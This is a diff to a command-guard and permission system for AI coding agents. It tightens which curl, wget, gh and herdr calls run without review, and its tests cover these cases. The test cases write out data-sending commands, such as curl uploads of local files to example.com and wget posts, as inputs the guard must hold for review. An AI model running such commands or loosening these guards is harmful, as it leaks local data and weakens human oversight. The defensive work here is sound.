diff --git a/agents/claude/settings.json b/agents/claude/settings.json index 229360e..4b16cbf 100644 --- a/agents/claude/settings.json +++ b/agents/claude/settings.json @@ -73,6 +73,8 @@ "allowedDomains": [ "api.day.app", "channels.nixos.org", + "files.pythonhosted.org", + "pypi.org", "registry.npmjs.org" ], "allowUnixSockets": [ diff --git a/agents/command_permissions.json b/agents/command_permissions.json index 7b837ca..525fd26 100644 --- a/agents/command_permissions.json +++ b/agents/command_permissions.json @@ -1713,14 +1713,14 @@ "prefix": [ "curl" ], - "justification": "Allow requests to local servers only; the sandbox and the precise rules keep remote fetches out." + "justification": "Allow requests to local servers; the command hook asks before any remote request, which can send local data." }, { "decision": "allow", "prefix": [ "wget" ], - "justification": "Allow requests to local servers only; the sandbox and the precise rules keep remote fetches out." + "justification": "Allow requests to local servers; the command hook asks before any remote request, which can send local data." }, { "decision": "allow", @@ -2403,6 +2403,42 @@ ], "justification": "Allow read-only Herdr inspection; controlling other panes asks first." }, + { + "decision": "allow", + "prefix": [ + "herdr", + "agent", + "read" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "agent", + "wait" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "worktree", + "list" + ], + "justification": "Allow read-only Herdr inspection; controlling other panes asks first." + }, + { + "decision": "allow", + "prefix": [ + "herdr", + "worktree", + "open" + ], + "justification": "Allow handing work to a new Herdr session; the hooks limit prompts to agents this session started." + }, { "decision": "ask", "prefix": [ diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 4e89258..42c73fe 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -6,10 +6,11 @@ is handed to the user instead of being refused outright. """ -from dataclasses import dataclass +from dataclasses import dataclass, replace import json import os from pathlib import Path +import re import sys @@ -19,17 +20,43 @@ import audit_log import command_policy +import herdr_grammar import hook_decision from hook_decision import Verdict import shell_syntax +REQUEST_PROGRAMS = frozenset({"curl", "wget"}) +REMOTE_REASON = ( + "Needs review: remote curl/wget can send local data. Read web pages with the web-fetch tool, " + "or use gh api / nix store prefetch-file for exact values and files." +) +# Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. +# The only programs the literal_words rules govern; through any wrapper they get main's rules, or no +# rule at all for curl and wget. +LITERAL_PROGRAMS = frozenset({"curl", "gh", "herdr", "wget"}) +# Characters through which any shell may expand or run something; a command holding one anywhere +# outside single quotes, in the program name, an assignment, or a redirect included, gets no +# literal_words rule. +EXPANDING_TEXT = re.compile(r"[$`~*?\[\]{}]|\\\n") +REQUEST_SETTINGS = re.compile(r"proxy|curlrc|wgetrc|curl_home|(^|[^a-z0-9_])(home|xdg_config_home)=", re.IGNORECASE) + + @dataclass(frozen=True, slots=True) class Policy: - """Generated permission prefixes beside the regex rules of one guard kind.""" + """Generated permission prefixes beside the regex rules of one guard kind. + + `literal_words` is False when the command may not use the rules marked literal_words; those rules + still count toward the programs the allowed kind governs. + """ prefixes: list[dict] rules: list[dict] + literal_words: bool = True + + @property + def listing_rules(self) -> list[dict]: + return self.rules if self.literal_words else command_policy.literal_rules(self.rules, literal=False) @dataclass(frozen=True, slots=True) @@ -69,37 +96,74 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: """Judge one segment by its own words and by its canonical program and subcommand. Rules see only the command's words: redirections stay inside the sandbox, and heredoc bodies - are data, not commands, and so is an argument containing whitespace. The forbidden kind only denies: a literal deny prefix or pattern wins - even beside a run-time argument. The allowed kind reviews only programs whose effects reach - past the sandbox, such as GitHub writes and remote fetches, and lets every other program take - any form, since the sandbox confines it. A run-time word in a governed program counts as a plain - placeholder, so it passes only where any value would. + are data, not commands, and so is an argument containing whitespace. """ candidate = command_policy.canonical(item) - prefixes, rules = policy.prefixes, policy.rules preview = shell_syntax.command_preview(item.raw) if kind == "forbidden": - matched = command_policy.regex_reason(item.command_words_text, rules) or command_policy.regex_reason( - candidate.command_words_text, rules - ) - reason = command_policy.prefix_reason(candidate.arguments, prefixes, "deny") or matched - if not reason: - return hook_decision.ALLOW - return hook_decision.deny( - f"BLOCKED: forbidden command: {reason}.\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" - ) + return forbidden_objection(item, candidate, policy) + return governed_objection(candidate, policy, preview) + + +def is_listed(candidate: shell_syntax.Command, rules: list[dict]) -> bool: + """Whether a rule lists the form; Herdr's watching commands must also keep to their documented options.""" + if not command_policy.regex_reason(candidate.static_words_text, rules): + return False + return not herdr_grammar.is_watch_command(candidate.arguments) or herdr_grammar.is_documented(candidate.arguments) + + +def forbidden_objection(item: shell_syntax.Command, candidate: shell_syntax.Command, policy: Policy) -> Verdict: + """Deny only: a literal deny prefix or pattern wins even beside a run-time argument.""" + rules = policy.rules + matched = command_policy.regex_reason(item.command_words_text, rules) or command_policy.regex_reason( + candidate.command_words_text, rules + ) + reason = command_policy.prefix_reason(candidate.arguments, policy.prefixes, "deny") or matched + if not reason: + return hook_decision.ALLOW + preview = shell_syntax.command_preview(item.raw) + return hook_decision.deny( + f"BLOCKED: forbidden command: {reason}.\n\nCommand: {preview}\n\n{hook_decision.REVIEW_HINT}" + ) + + +def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: str) -> Verdict: + """Review only programs whose effects reach past the sandbox; the sandbox confines every other form. + + A run-time word counts as a plain placeholder, so it passes only where any value would, and a + command that can hide an option from the rules, or takes more arguments from xargs, asks: a + quoted option, or a word that may split into several, such as an unquoted expansion. + """ + prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW + if candidate.arguments[0] == "herdr" and herdr_grammar.has_global_option(candidate.arguments): + return hook_decision.ask( + f"Needs review: a Herdr global option such as --session shifts the words after it.\n\nCommand: {preview}", + "herdr", + ) governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") - if governed is None or command_policy.regex_reason(candidate.static_words_text, rules): + if governed is None or ( + not candidate.appends_input and not candidate.hides_options and is_listed(candidate, policy.listing_rules) + ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) + if candidate.arguments[0] in REQUEST_PROGRAMS: + return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {preview}", prefix) return hook_decision.ask( f"Needs review: command not in allowlist. '{prefix}' is approved, but not in this form.\n\nCommand: {preview}", prefix, ) +def settings_objection(command: str, commands: tuple[shell_syntax.Command, ...]) -> Verdict: + """Ask when a curl or wget call shares its command with settings that could send it elsewhere.""" + requests = any(command_policy.canonical(item).arguments[0] in REQUEST_PROGRAMS for item in commands) + if not requests or not REQUEST_SETTINGS.search(command): + return hook_decision.ALLOW + return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {shell_syntax.command_preview(command)}", "settings") + + def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: """Decide for an already decoded provider payload, recording every denial and escalation.""" command = "" @@ -108,14 +172,7 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: if not isinstance(payload, dict): raise ValueError("failed to parse tool input JSON: expected an object") command = payload.get("tool_input", {}).get("command") or "" - try: - commands = shell_syntax.parse(command) - except shell_syntax.UnsupportedSyntax as error: - preview = shell_syntax.command_preview(command) - verdict = hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - else: - verdicts = (objection(kind, item, policy) for item in commands) - verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) + verdict = command_verdict(kind, payload, policy) except (ValueError, TypeError, AttributeError, OSError) as error: prefix = "forbidden command: " if kind == "forbidden" else "" verdict = hook_decision.deny(f"BLOCKED: {prefix}{error}\n\n{hook_decision.REVIEW_HINT}") @@ -123,6 +180,42 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: return verdict +def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: + """The first objection any segment raises, then whether the command's settings could redirect a request. + + Rules marked literal_words apply only when the whole command is one plain gh, herdr, curl, or wget + call whose text, outside single quotes, holds nothing a shell expands. + """ + command = payload.get("tool_input", {}).get("command") or "" + try: + commands = shell_syntax.parse(command) + except shell_syntax.UnsupportedSyntax as error: + preview = shell_syntax.command_preview(command) + return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") + if not allows_literal_rules(command, commands): + policy = replace(policy, literal_words=False) + verdicts = (objection(kind, item, policy) for item in commands) + verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) + if kind == "allowed" and verdict.decision == "allow": + return settings_objection(command, commands) + return verdict + + +def allows_literal_rules(command: str, commands: tuple[shell_syntax.Command, ...]) -> bool: + """Whether the command is exactly one plain gh, herdr, curl, or wget call with nothing expanding outside single + quotes: no list, pipe, compound, wrapper, eval, or nested script; when unsure, it is not.""" + if len(commands) != 1 or Path(commands[0].arguments[0]).name not in LITERAL_PROGRAMS: + return False + try: + if not shell_syntax.is_one_simple_command(command): + return False + return not EXPANDING_TEXT.search(command) or not EXPANDING_TEXT.search( + shell_syntax.text_outside_single_quotes(command) + ) + except shell_syntax.UnsupportedSyntax: + return False + + def record(verdict: Verdict, attempt: Attempt) -> None: if verdict.decision == "allow": return diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index 2b2756d..1f5a2b9 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -68,12 +68,19 @@ def validate_rule(rule: object, prefixes: bool) -> None: raise ValueError("invalid decision") if not prefixes and "programs" in rule and not is_name_list(rule["programs"]): raise ValueError("invalid governed program list") + if not prefixes and not isinstance(rule.get("literal_words", False), bool): + raise ValueError("invalid literal word flag") def is_name_list(value: object) -> bool: return isinstance(value, list) and bool(value) and all(isinstance(item, str) and item for item in value) +def literal_rules(rules: list[dict], *, literal: bool) -> list[dict]: + """The rules that apply only when every word of the command is literal, or the others.""" + return [rule for rule in rules if rule.get("literal_words", False) is literal] + + def governed_programs(rules: list[dict]) -> frozenset[str]: """Programs whose effects reach past the sandbox, so only their listed forms pass unreviewed.""" return frozenset(program for rule in rules for program in rule.get("programs", ())) diff --git a/agents/hooks/lib/herdr_grammar.py b/agents/hooks/lib/herdr_grammar.py new file mode 100644 index 0000000..03e8ac4 --- /dev/null +++ b/agents/hooks/lib/herdr_grammar.py @@ -0,0 +1,85 @@ +"""Judge Herdr's watching commands on their decoded words against the options each one documents. + +Herdr strips global options such as --session before it parses a subcommand, so one anywhere in the +words can shift every value after it; a closed grammar refuses such words instead of reading past them. +""" + +from collections.abc import Callable, Iterator +from dataclasses import dataclass + + +GLOBAL_OPTIONS = ("--session", "--machine", "--remote") +ValueRule = Callable[[str], bool] + + +def any_word(value: str) -> bool: + return not value.startswith("-") + + +def number(value: str) -> bool: + return value.isdigit() + + +def one_of(*choices: str) -> ValueRule: + return frozenset(choices).__contains__ + + +@dataclass(frozen=True, slots=True) +class Form: + """One subcommand's documented words: how many targets, valued options, and plain flags.""" + + targets: int + valued: dict[str, ValueRule] + flags: frozenset[str] = frozenset() + + +FORMS = { + ("agent", "read"): Form( + 1, + { + "--source": one_of("visible", "recent", "recent-unwrapped", "detection"), + "--lines": number, + "--format": one_of("text", "ansi"), + }, + frozenset({"--ansi"}), + ), + ("agent", "wait"): Form(1, {"--until": any_word, "--timeout": number}), + ("worktree", "list"): Form(0, {"--workspace": any_word, "--cwd": any_word}), + ("worktree", "open"): Form( + 0, + dict.fromkeys(("--workspace", "--cwd", "--path", "--branch", "--label"), any_word), + frozenset({"--focus", "--no-focus"}), + ), +} + + +def is_watch_command(arguments: tuple[str, ...]) -> bool: + return arguments[0] == "herdr" and tuple(arguments[1:3]) in FORMS + + +def has_global_option(arguments: tuple[str, ...]) -> bool: + return any(word == option or word.startswith(f"{option}=") for word in arguments for option in GLOBAL_OPTIONS) + + +def is_documented(arguments: tuple[str, ...]) -> bool: + """Whether a watching command uses only its documented options, each value a plain word.""" + rest = arguments[3:] + if rest == ("--help",): + return True + form = FORMS[(arguments[1], arguments[2])] + targets = 0 + words = iter(rest) + for word in words: + if not word.startswith("-"): + targets += 1 + elif not accepts(word, words, form): + return False + return targets == form.targets + + +def accepts(option: str, words: Iterator[str], form: Form) -> bool: + if option in form.flags: + return True + rule = form.valued.get(option) + value = next(words, None) + return rule is not None and value is not None and any_word(value) and rule(value) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index ddc6883..afa51d4 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -13,43 +13,22 @@ COMMAND_PREVIEW_LIMIT = 200 RUN_TIME_PLACEHOLDER = "_" +# Statements, words, arithmetic, loops and branches, and tests that the inspection understands. ALLOWED_NODES = frozenset( { None, - "File", - "CallExpr", - "BinaryCmd", - "Subshell", - "Block", - "Lit", - "SglQuoted", - "DblQuoted", - "ParamExp", - "TimeClause", - "CmdSubst", - "ProcSubst", - "ArithmExp", - "ArithmCmd", - "BinaryArithm", - "UnaryArithm", - "ParenArithm", - "ForClause", - "WordIter", - "CStyleLoop", - "WhileClause", - "IfClause", - "CaseClause", - "CaseItem", - "TestClause", - "BinaryTest", - "UnaryTest", - "ParenTest", - "DeclClause", - "Word", + *( + "File CallExpr BinaryCmd Subshell Block TimeClause DeclClause " + "Word Lit SglQuoted DblQuoted ParamExp CmdSubst ProcSubst " + "ArithmExp ArithmCmd BinaryArithm UnaryArithm ParenArithm " + "ForClause WordIter CStyleLoop WhileClause IfClause CaseClause CaseItem " + "TestClause BinaryTest UnaryTest ParenTest" + ).split(), } ) -# Every command inside a substitution or clause is a CallExpr that parse judges on its own; the -# substituted word itself is only known at run time. +# Every command inside a substitution, clause, or function body is a CallExpr that parse judges on +# its own, so a body is judged where it is defined and a call by its own name; the substituted word +# itself is only known at run time. SUBSTITUTIONS = frozenset({"CmdSubst", "ProcSubst", "ArithmExp"}) # A ParamExp other than the home directory makes its word a run-time word; Word is an operand inside it. WORD_PARTS = frozenset({None, "Lit", "SglQuoted", "DblQuoted", "ParamExp", "Word"}) | SUBSTITUTIONS @@ -59,6 +38,16 @@ SHELLS = frozenset({"bash", "sh", "zsh"}) COMMAND_LOOKUP = frozenset({"-v", "-V"}) ASSIGNMENT = re.compile(r"[A-Za-z_][A-Za-z0-9_]*=") +# All positional parameters, any single one (a digit), and every array element ([@] or [*]) can +# become any number of words, options included, even inside double quotes. +SPREADING = frozenset({"@", "*"}) +# Parts that the shell splits into words, or expands into several, when they stand outside quotes. +SPLIT_PARTS = frozenset({"ParamExp", "CmdSubst", "ProcSubst", "ArithmExp"}) +# A bracket opens a glob only when a closing bracket follows, so the test command `[` stays literal. +GLOB = re.compile(r"(? None: if not self.words: object.__setattr__(self, "words", self.arguments) if not self.dynamic: object.__setattr__(self, "dynamic", (False,) * len(self.arguments)) + if not self.spreading: + object.__setattr__(self, "spreading", (False,) * len(self.arguments)) @property def words_text(self) -> str: @@ -134,6 +129,15 @@ def static_words_text(self) -> str: RUN_TIME_PLACEHOLDER if dynamic else word for word, dynamic in zip(self.words, self.dynamic, strict=True) ) + @property + def hides_options(self) -> bool: + """Whether an option can reach the program unseen: quoted or escaped, or inside a spreading expansion.""" + quoted_option = any( + argument.startswith("-") and word != argument + for word, argument in zip(self.words, self.arguments, strict=True) + ) + return quoted_option or any(self.spreading) + @property def has_dynamic_words(self) -> bool: return any(self.dynamic) @@ -154,6 +158,7 @@ def rebased(self, index: int, head: tuple[str, ...] = (), depth: int | None = No wrapper_depth=wrapper_depth, words=words, dynamic=((False,) * len(head)) + self.dynamic[index:], + spreading=((False,) * len(head)) + self.spreading[index:], ) @@ -194,6 +199,46 @@ def parse(source: str, depth: int = 0) -> tuple[Command, ...]: return tuple(commands) +def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: + redirects = [redirect for redirect in statement.get("Redirs", []) if redirect.get("Word")] + targets = [literal_word(redirect["Word"], data)[0] for redirect in redirects] + return tuple( + target for redirect, target in zip(redirects, targets, strict=True) if writes_file(redirect, target, data) + ) + + +def is_one_simple_command(source: str) -> bool: + """Whether the source is one plain call: no list, pipe, background, negation, compound, assignment, or redirect.""" + statements = syntax_tree(source).get("Stmts", []) + if len(statements) != 1: + return False + statement = statements[0] + flags = ("Background", "Coprocess", "Negated", "Disown", "Redirs") + command = statement.get("Cmd") + return ( + not any(statement.get(flag) for flag in flags) + and isinstance(command, dict) + and command.get("Type") == "CallExpr" + and not command.get("Assigns") + ) + + +def text_outside_single_quotes(source: str) -> str: + """The source without its single-quoted strings, which no shell expands; $'...' stays, as it decodes escapes.""" + data = source.encode() + spans = sorted( + (node["Pos"]["Offset"], node["End"]["Offset"]) + for node in nodes(syntax_tree(source)) + if node.get("Type") == "SglQuoted" and not node.get("Dollar") + ) + kept, start = [], 0 + for begin, end in spans: + kept.append(data[start:begin]) + start = max(start, end) + kept.append(data[start:]) + return b"".join(kept).decode() + + def heredoc_script(owner: dict) -> str: """Return the static script a shell reads from a heredoc, refusing one the shell computes.""" bodies = [redirect["Hdoc"] for redirect in owner.get("Redirs", []) if redirect.get("Hdoc")] @@ -246,9 +291,8 @@ def literal_command(node: dict, owner: dict, data: bytes) -> Command: words=tuple(source_text(word, data) for word in node["Args"]), trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), - writes=tuple( - target for redirect, target in zip(redirects, targets, strict=True) if writes_file(redirect, target, data) - ), + spreading=tuple(spreads(word, data) for word in node["Args"]), + writes=statement_writes(owner, data), ) @@ -294,6 +338,28 @@ def literal_word(word: dict, source: bytes) -> tuple[str, bool]: return "".join(literal_part(index, part, source) for index, part in enumerate(parts)), False +def spreads(word: dict, source: bytes) -> bool: + """Whether a word may become several words, or other words than the decoder sees. + + That is an unquoted expansion, substitution, glob, or brace, a line continuation, which the + shell removes, or a positional parameter or array expansion even in quotes. + """ + parts = word.get("Parts", []) + unquoted = "".join(part.get("Value", "") for part in parts if part.get("Type") == "Lit") + if any(part.get("Type") in SPLIT_PARTS for part in parts) or GLOB.search(unquoted) or BRACES & set(unquoted): + return True + if LINE_CONTINUATION in source_text(word, source): + return True + for part in word_nodes(word): + if part.get("Type") != "ParamExp": + continue + name = part.get("Param", {}).get("Value", "") + index = "".join(inner.get("Value", "") for inner in (part.get("Index") or {}).get("Parts", [])) + if name in SPREADING or name.isdigit() or index in SPREADING: + return True + return False + + def word_nodes(value: object) -> Iterator[dict]: """Walk a word's parts without entering substitutions, whose commands parse judges separately.""" if isinstance(value, dict): @@ -314,11 +380,8 @@ def is_home_parameter(part: dict) -> bool: def is_literal_text(value: str, *, first: bool) -> bool: - """Unquoted globs expand at run time, and so does a leading tilde unless it names the home directory. - - A bracket opens a glob only when a closing bracket follows, so the test command `[` stays literal. - """ - if re.search(r"(? str: def unquoted(text: str) -> str: - values = shlex.split(text, posix=True) + """Decode an unquoted or double-quoted part as the shell does, dropping each line continuation.""" + values = shlex.split(text.replace(LINE_CONTINUATION, ""), posix=True) if len(values) != 1: raise UnsupportedSyntax("a shell word could not be decoded unambiguously") return values[0] @@ -361,7 +425,8 @@ def unwrapped(command: Command) -> list[Command]: """Peel process wrappers so policy sees the program they eventually run.""" exposed: list[Command] = [] while (index := wrapped_index(command.arguments)) is not None: - command = command.rebased(index, depth=command.wrapper_depth + 1) + appends_input = command.appends_input or Path(command.arguments[0]).name == "xargs" + command = replace(command.rebased(index, depth=command.wrapper_depth + 1), appends_input=appends_input) exposed.append(command) return exposed diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 79911c0..86e08b2 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -47,16 +47,27 @@ ], "justification": "Allow GitHub reads and the reviewable writes the delivery workflow uses; other forms of an approved gh prefix change GitHub in ways the sandbox cannot undo." }, + { + "programs": [ + "gh" + ], + "literal_words": true, + "patterns": [ + "^gh api( (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))* ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache [0-9]+[smh]| (-H|--header) ('(Accept|X-GitHub-Api-Version): [^']*'|\"(Accept|X-GitHub-Api-Version): [^\"$`\\\\]*\"))*$" + ], + "justification": "Allow GitHub reads that ask for a media type or API version by header; every other word must be literal, so no expansion can add an option beside the header." + }, { "programs": [ "curl", "wget" ], + "literal_words": true, "patterns": [ - "^curl( -[A-Za-z]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$" + "^curl( -[sSfiIv]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$", + "^wget (--help|--version)$" ], - "justification": "Allow requests to local servers; remote fetches leave the machine." + "justification": "Allow a single plain curl call, with value-less flags (-s -S -f -i -I -v) and the fixed -X, -H, -d, and -o slots, to a local server named exactly localhost, 127.0.0.1, or [::1]; any assignment, redirect, wrapper, list, or option that follows redirects, reads a config file, or sets a proxy asks, and wget, which follows redirects by default, asks except for its help and version." }, { "programs": [ @@ -84,6 +95,20 @@ "^herdr workspace get( |$)" ], "justification": "Allow Herdr reads and handing work to a new Claude or Codex session; repository trust, pane environments, other agent kinds, and driving existing panes run outside the sandbox and ask." + }, + { + "programs": [ + "herdr" + ], + "literal_words": true, + "patterns": [ + "^herdr (agent (read|wait)|worktree (list|open)) --help$", + "^herdr agent read [^ -][^ ]*( --(source|lines|format) [^ ]+| --ansi)*$", + "^herdr agent wait [^ -][^ ]*( --until [a-z]+| --timeout [0-9]+)*$", + "^herdr worktree list( --(workspace|cwd) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+))*$", + "^herdr worktree open( --(workspace|cwd|path|branch|label) ('[^']*'|\"([^\"\\\\]|\\\\.)*\"|[^ '\"]+)| --(no-)?focus)*$" + ], + "justification": "Allow watching lanes and their worktrees; every word must be literal, so no expansion can add an option such as --trust-repository." } ] } diff --git a/pyproject.toml b/pyproject.toml index 3c0061a..ca5f6bc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -26,6 +26,7 @@ known_first_party = [ "guard_file", "guard_git", "guard_suppression", + "herdr_grammar", "herdr_ownership", "hook_decision", "hook_dispatch", diff --git a/tests/agents/claude/test_settings.py b/tests/agents/claude/test_settings.py index f0afe8b..16864b4 100644 --- a/tests/agents/claude/test_settings.py +++ b/tests/agents/claude/test_settings.py @@ -80,6 +80,11 @@ def test_pnpm_fetches_packages_from_the_npm_registry_inside_the_sandbox() -> Non assert {"registry.npmjs.org"} <= set(sandbox["network"]["allowedDomains"]) +def test_uv_fetches_packages_from_pypi_inside_the_sandbox() -> None: + sandbox = json.loads((REPO_ROOT / "agents/claude/settings.json").read_text())["sandbox"] + assert {"pypi.org", "files.pythonhosted.org"} <= set(sandbox["network"]["allowedDomains"]) + + def test_pnpm_installs_into_its_shared_store_from_inside_the_sandbox() -> None: sandbox = json.loads((REPO_ROOT / "agents/claude/settings.json").read_text())["sandbox"] assert {"~/.local/share/pnpm"} <= set(sandbox["filesystem"]["allowWrite"]) diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 71a02a9..bf0776c 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -38,7 +38,7 @@ pytest.param("git push --force-with-lease origin feat/example", id="push forms the Git guard judges"), pytest.param("gh pr list", id="listed GitHub forms"), pytest.param("/opt/homebrew/bin/gh pr list", id="listed GitHub forms invoked by path"), - pytest.param("gh pr view $NUMBER --json state", id="run-time words in listed GitHub forms"), + pytest.param('gh pr view "$NUMBER" --json state', id="quoted run-time words in listed GitHub forms"), pytest.param('gh pr create --head topic --body-file "$D/pr.md"', id="run-time body files"), pytest.param( "gh pr create --head topic --title 'fix: x' --body \"$(cat <<'EOF'\nUse `git add -A` never.\n$HOME stays.\nEOF\n)\"", @@ -57,22 +57,66 @@ pytest.param( "gh api 'repos/openai/codex/contents/a.rs?ref=rust-v0.163.0' --jq .content", id="GitHub reads with bare jq" ), - pytest.param("gh api repos/furedea/$r/dependabot/alerts --jq '.[] | .number'", id="GitHub reads at run time"), + pytest.param( + "gh api \"repos/furedea/$r/dependabot/alerts\" --jq '.[] | .number'", id="GitHub reads at run time" + ), pytest.param("gh api repos/owner/repo/pulls/1/comments --jq '.[] | .body'", id="GitHub reads 2"), pytest.param("gh api '/advisories?ecosystem=pip&affects=urllib3' --jq '.[] | .summary'", id="GitHub reads 3"), pytest.param( "gh api repos/owner/repo/pulls/1/comments/99/replies -f body='it'\\''s great'", id="apostrophe in a single-quoted body", ), + pytest.param("gh api graphql -f query='query { viewer { login } }'", id="GitHub GraphQL queries"), pytest.param("gh stack submit --auto", id="non-interactive stack commands"), pytest.param("gh pr list 2>&1 | head -5", id="GitHub forms in pipelines"), pytest.param("curl -fsS http://localhost:3000/health", id="local server requests"), + pytest.param("curl -s -H 'Accept: x' -o out.json http://127.0.0.1:8080/api", id="local server downloads"), + pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), + pytest.param( + 'gh api -H "Accept: application/vnd.github.raw" repos/o/r/contents/README.md', + id="GitHub reads with a header before the endpoint", + ), + pytest.param( + "gh api --header 'X-GitHub-Api-Version: 2022-11-28' repos/o/r/releases --jq .name", + id="GitHub reads with a version header", + ), + pytest.param("herdr agent read lane-a --source recent --lines 80", id="Herdr agent reads"), + pytest.param( + "gh api -H 'Accept: application/vnd.github.raw' repos/o/r/contents/README.md", id="a plain header read" + ), + pytest.param("herdr agent read lane-name", id="a plain Herdr agent read"), + pytest.param( + "herdr worktree open --cwd /repo --path /repo/worktree --no-focus", id="a Herdr worktree open by path" + ), + pytest.param("curl -s 'http://[::1]:8080/health'", id="local server requests over IPv6"), + pytest.param( + "gh api -H 'Accept: application/vnd.github.raw' 'repos/o/r/contents/README.md?ref=v1'", + id="a header read with a single-quoted query", + ), + pytest.param( + "gh api -H \"Accept: x\" 'repos/o/r/contents/a.nix?ref=v1'", + id="a double-quoted header with a single-quoted query", + ), + pytest.param( + "gh api -H 'Accept: x' repos/o/r/pulls --jq '.[0].number'", + id="a header read with a single-quoted jq filter", + ), + pytest.param( + "herdr worktree open --cwd /r --label 'a*b {x} $y ~z'", + id="a Herdr form with special characters in single quotes", + ), + pytest.param("herdr agent wait lane-a --until done --until blocked --timeout 600000", id="Herdr agent waits"), + pytest.param("herdr worktree list --cwd /repo", id="Herdr worktree lists"), + pytest.param("herdr agent read --help", id="Herdr help for the lane commands"), + pytest.param( + "herdr worktree open --cwd /repo --branch feat/x --label x --no-focus", id="Herdr worktree opens" + ), pytest.param("herdr pane list", id="Herdr reads"), pytest.param( "herdr worktree create --cwd /repo --branch feat/lane-a --base origin/main --label 'lane a' --no-focus", id="Herdr task worktrees", ), - pytest.param("herdr pane split --pane w1:p2 --direction right --cwd $W --no-focus", id="Herdr panes"), + pytest.param('herdr pane split --pane w1:p2 --direction right --cwd "$W" --no-focus', id="Herdr panes"), pytest.param("herdr agent start lane-a --kind claude --pane w1:p2", id="Herdr Claude agents"), pytest.param("herdr agent start lane-b --pane w1:p3 --kind codex --timeout 60000", id="Herdr Codex agents"), pytest.param( @@ -80,6 +124,10 @@ id="Herdr prompts", ), pytest.param('herdr agent prompt lane-a "$(cat $D/brief.md)"', id="Herdr prompts built at run time"), + pytest.param( + "gh pr edit 242 --body \"$(printf '%s' 'pass ${a[@]} or \"$@\" or $1 through')\"", + id="expansion text inside a substituted body", + ), pytest.param("", id="empty command"), ], ) @@ -106,7 +154,250 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ), pytest.param("gh stack init", ["gh stack init"], id="interactive stack commands 1"), pytest.param("gh stack submit", ["gh stack submit"], id="interactive stack commands 2"), - pytest.param("curl https://example.com/install.sh", [], id="remote fetches"), + pytest.param("curl -d @notes.txt https://example.com/upload", [], id="remote posts"), + pytest.param("curl --data-binary @a https://example.com/", [], id="remote binary posts"), + pytest.param("curl -F file=@a https://example.com/", [], id="remote form uploads"), + pytest.param("curl -T a https://example.com/", [], id="remote uploads"), + pytest.param("curl -X POST https://example.com/", [], id="remote non-GET methods"), + pytest.param("curl -sX DELETE https://example.com/", [], id="remote methods in a flag cluster"), + pytest.param("curl --json '{}' https://example.com/", [], id="remote JSON posts"), + pytest.param("curl -K config.txt https://example.com/", [], id="remote options from a file"), + pytest.param("curl -fsSd x=1 https://example.com/", [], id="remote data in a flag cluster"), + pytest.param("curl -s $URL", [], id="remote fetches of run-time words"), + pytest.param("curl -s https://example.com/ -o $OUT", [], id="remote fetches with run-time options"), + pytest.param("wget --post-data x=1 https://example.com/", [], id="wget posts"), + pytest.param("gh api -X PATCH repos/o/r -f a=b", [], id="GitHub API writes with -X"), + 